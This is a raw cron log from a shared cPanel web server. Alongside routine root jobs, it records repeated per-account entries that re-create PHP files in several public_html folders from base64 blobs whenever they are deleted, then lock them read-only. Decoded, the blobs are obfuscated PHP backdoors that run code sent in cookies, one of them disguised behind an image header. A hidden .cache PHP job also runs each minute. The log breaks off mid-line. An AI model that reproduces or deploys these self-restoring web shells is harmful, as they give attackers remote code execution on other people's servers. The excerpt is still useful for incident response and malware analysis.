Mar  1 14:25:01 medusa CROND[6498]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 14:25:01 medusa CROND[6499]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:25:01 medusa CROND[6501]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:25:01 medusa CROND[6515]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 14:25:01 medusa CROND[6491]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 14:25:01 medusa CROND[6516]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Mar  1 14:26:01 medusa CROND[31197]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 14:26:01 medusa CROND[31201]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:26:01 medusa CROND[31202]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 14:26:01 medusa CROND[31203]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:26:01 medusa CROND[31204]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 14:26:01 medusa CROND[31206]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 14:26:01 medusa CROND[31205]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 14:26:01 medusa CROND[31207]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 14:26:01 medusa CROND[31209]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 14:26:01 medusa CROND[31210]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 14:26:01 medusa CROND[31212]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:26:01 medusa CROND[31213]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 14:26:01 medusa CROND[31217]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:26:01 medusa CROND[31225]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 14:27:01 medusa CROND[23576]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 14:27:01 medusa CROND[23680]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 14:27:01 medusa CROND[23681]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:27:01 medusa CROND[23682]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 14:27:01 medusa CROND[23683]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:27:01 medusa CROND[23685]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 14:27:01 medusa CROND[23689]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:27:01 medusa CROND[23690]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAk